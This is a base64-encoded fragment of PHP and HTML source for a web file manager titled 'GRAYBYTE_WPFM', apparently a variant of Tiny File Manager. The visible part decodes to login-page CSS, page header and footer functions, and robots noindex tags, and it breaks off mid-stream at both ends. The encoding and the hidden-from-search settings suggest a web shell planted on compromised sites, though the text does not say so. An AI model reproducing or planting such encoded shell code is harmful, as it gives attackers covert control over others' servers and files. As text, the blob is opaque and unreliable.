AgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXRpdGxlIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjVyZW07XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMi4zcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tZ3JvdXAgbGFiZWwge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NrIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvb3RlciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAyMHB4IDA7XG4gICAgICAgICAgICAgICAgY29sb3I6ICM4ODg7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDI1cHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC13cmFwcGVyIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDkwJTtcbiAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwJTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6MzIwcHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwXG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0IC5jYXJkLWJvZHkge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNXB4XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogNHB4IDdweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uub2sge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogZ3JlZW47XG4gICAgICAgICAgICAgICAgY29sb3I6IGdyZWVuXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmVycm9yIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IHJlZDtcbiAgICAgICAgICAgICAgICBjb2xvcjogcmVkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmFsZXJ0IHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IG9yYW5nZTtcbiAgICAgICAgICAgICAgICBjb2xvcjogb3JhbmdlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayBzdmcgZyxcbiAgICAgICAgICAgIC50aGVtZS1kYXJrIHN2ZyBwYXRoIHtcbiAgICAgICAgICAgICAgICBmaWxsOiAjZmZmZmZmO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayAuZm9ybS1jb250cm9sIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDAzZTNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuaC0xMDB2aCB7XG4gICAgICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7XG4gICAgICAgICAgICB9XG4gICAgICAgIDxcL3N0eWxlPlxuICAgIDxcL2hlYWQ+XG5cbiAgICA8Ym9keSBjbGFzcz1cImZtLWxvZ2luLXBhZ2UgPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+XCI+XG4gICAgICAgIDxkaXYgaWQ9XCJ3cmFwcGVyXCIgY2xhc3M9XCJjb250YWluZXItZmx1aWRcIj5cblxuICAgICAgICA8P3BocFxuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm1cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXJfbG9naW4oKVxuICAgIHtcbiAgICAgICAgPz5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5Jyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1ib290c3RyYXAnKTsgPz5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cblxuPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBIZWFkZXIgYWZ0ZXIgbG9naW5cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKVxuICAgIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiB0ZXh0XC9odG1sOyBjaGFyc2V0PXV0Zi04XCIpO1xuICAgICAgICBoZWFkZXIoXCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgICAgIGhlYWRlcihcIlByYWdtYTogbm8tY2FjaGVcIik7XG5cbiAgICAgICAgZ2xvYmFsICRzdGlja3lfbmF2YmFyLCAkZmF2aWNvbl9wYXRoO1xuICAgICAgICAkaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cblxuICAgIDxoZWFkPlxuICAgICAgICA8bWV0YSBjaGFyc2V0PVwidXRmLThcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJkZXNjcmlwdGlvblwiIGNvbnRlbnQ9XCJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJhdXRob3JcIiBjb250ZW50PVwiQ0NQIFByb2dyYW1tZXJzXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJyb2JvdHNcIiBjb250ZW50PVwibm9pbmRleCwgbm9mb2xsb3dcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImdvb2dsZWJvdFwiIGNvbnRlbnQ9XCJub2luZGV4XCI+XG4gICAgICAgIDw/cGhwIGlmICgkZmF2aWNvbl9wYXRoKSB7XG4gICAgICAgICAgICBlY2hvICc8bGluayByZWw9XCJpY29uXCIgaHJlZj1cIicgLiBmbV9lbmMoJGZhdmljb25fcGF0aCkgLiAnXCIgdHlwZT1cImltYWdlXC9wbmdcIj4nO1xuICAgICAgICB9ID8+XG4gICAgICAgIDx0aXRsZT5HUkFZQllURV9XUEZNPFwvdGl0bGU+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtZm9udC1hd2Vzb21lJyk7ID8+XG4gICAgICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PlxuICAgICAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1oaWdobGlnaHRqcycpOyA/PlxuICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiPlxuICAgICAgICAgICAgd2luZG93LmNzcmYgPSAnPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+JztcbiAgICAgICAgPFwvc2NyaXB0PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBodG1sIHtcbiAgICAgICAgICAgICAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgICAgICAgICAgICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgICAgICAgICAgICAgIHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7XG4gICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICAgICAgICAgIHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAqLFxuICAgICAgICAgICAgKjo6YmVmb3JlLFxuICAgICAgICAgICAgKjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTVweDtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjdGN0Y3O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBib2R5Lm5hdmJhci1maXhlZCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNTVweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgYSxcbiAgICAgICAgICAgIGE6aG92ZXIsXG4gICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICBhOmZvY3VzIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmUgIWltcG9ydGFudDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZpbGVuYW1lLFxuICAgICAgICAgICAgdGQsXG4gICAgICAgICAgICB0aCB7XG4gICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubmF2YmFyLWJyYW5kIHtcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IGNhcGl0YWxpemU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgYT5pIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgLmRyb3Bkb3duLW1lbnUgYSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc2VhcmNoLWFkZG9uIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0LXdpZHRoOiAwO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJsLTAge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyci0wIHtcbiAgICAgICAgICAgICAgICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFkLWNydW1iIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2NjY2NjYztcbiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHtcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gLjI1cyBjdWJpYy1iZXppZXIoMC40LCAwLjUsIDAsIDEpLCB3aWR0aCAwcyAuMjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSB7XG4gICAgICAgICAgICAgICAgY29sb3I6ICMyMjIyMjI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZSB0ZCxcbiAgICAgICAgICAgIC50YWJsZSB0aCB7XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LFxuICAgICAgICAgICAgLnRhYmxlIC5jdXN0b20tY2hlY2tib3gtaGVhZGVyIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gge1xuICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMThweDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1zbSB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1zbSB0aCB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogLjRyZW07XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2YxZjFmMTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmhpZGRlbiB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBwcmUud2l0aC1obGpzIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHByZS53aXRoLWhsanMgY29kZSB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlcjogMDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogc2Nyb2xsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBjb2RlLm1heGhlaWdodCxcbiAgICAgICAgICAgIHByZS5tYXhoZWlnaHQge1xuICAgICAgICAgICAgICAgIG1heC1oZWlnaHQ6IDUxMnB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mYS5mYS1jYXJldC1yaWdodCB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTtcbiAgICAgICAgICAgICAgICBtYXJnaW46IDAgNHB4O1xuICAgICAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNlY2VjZWNcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZhLmZhLWhvbWUge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IGJvdHRvbVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucGF0aCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmb3JtLmRyb3B6b25lIHtcbiAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDJweCBkYXNoZWQgIzAwN2JmZjtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogNnJlbTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnJpZ2h0IHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY2VudGVyLFxuICAgICAgICAgICAgLmNsb3NlLFxuICAgICAgICAgICAgLmxvZ2luLWZvcm0sXG4gICAgICAgICAgICAucHJldmlldy1pbWctY29udGFpbmVyIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXJcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uge1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDRweCA3cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLm9rIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IGdyZWVuO1xuICAgICAgICAgICAgICAgIGNvbG9yOiBncmVlblxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5lcnJvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiByZWQ7XG4gICAgICAgICAgICAgICAgY29sb3I6IHJlZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5hbGVydCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBvcmFuZ2U7XG4gICAgICAgICAgICAgICAgY29sb3I6IG9yYW5nZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy1pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiA4MHZoO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybChkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FJQUFBQ1FrV2cyQUFBQUtrbEVRVlI0Mm1MNVwvXC84XC9BemJ3K1BGanJPSk1EQ1NDVVEzRUFCWmM0UzByS3pzYVN2VFRBQkJnQU15ZkNNc1k0QjlpQUFBQUFFbEZUa1N1UW1DQyk7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiB6b29tLWluXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XSB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF06Y2hlY2tlZH5sYWJlbD5pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogbm9uZTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiBub25lO1xuICAgICAgICAgICAgICAgIGN1cnNvcjogem9vbS1vdXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmlubGluZS1hY3Rpb25zPmE+aSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxZW07XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDVweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzc4NWMxO1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDNweCA0cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy12aWRlbyB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDYyLjUlO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8ge1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY29tcGFjdC10YWJsZSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAwO1xuICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRkLFxuICAgICAgICAgICAgLmNvbXBhY3QtdGFibGUgdGgge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDA7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5maWxlbmFtZSB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiA0MjBweDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkIHtcbiAgICAgICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDMwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJlYWstd29yZCsuZmxvYXQtcmlnaHQge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDMwcHg7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkKy5mbG9hdC1yaWdodD5hIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNHB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNlZGl0b3Ige1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICByaWdodDogMTVweDtcbiAgICAgICAgICAgICAgICB0b3A6IDEwMHB4O1xuICAgICAgICAgICAgICAgIGJvdHRvbTogMTVweDtcbiAgICAgICAgICAgICAgICBsZWZ0OiAxNXB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOjQ4MXB4KSB7XG4gICAgICAgICAgICAgICAgI2VkaXRvciB7XG4gICAgICAgICAgICAgICAgICAgIHRvcDogMTUwcHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbm9ybWFsLWVkaXRvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMnB4O1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi0yIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IHNtYWxsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5maWxlOmJlZm9yZSxcbiAgICAgICAgICAgIGxpLmZvbGRlcjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGZvbnQ6IG5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHhcLzEgRm9udEF3ZXNvbWU7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMTZcIjtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjExNFwiXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZm9sZGVyLW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDE1N2IzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtcGljdHVyZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzI2Yjk5YVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2RhN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7XG4gICAgICAgICAgICAgICAgY29sb3I6IGluaGVyaXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaS5mYS5mYS1jc3MzIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2YzNmZhMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtY29kZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzAwN2JmZlxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWNvZGUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjY2M0YjRjXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS10ZXh0LW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA5NmU2XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtaHRtbDUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZDc1ZTcyXG4gI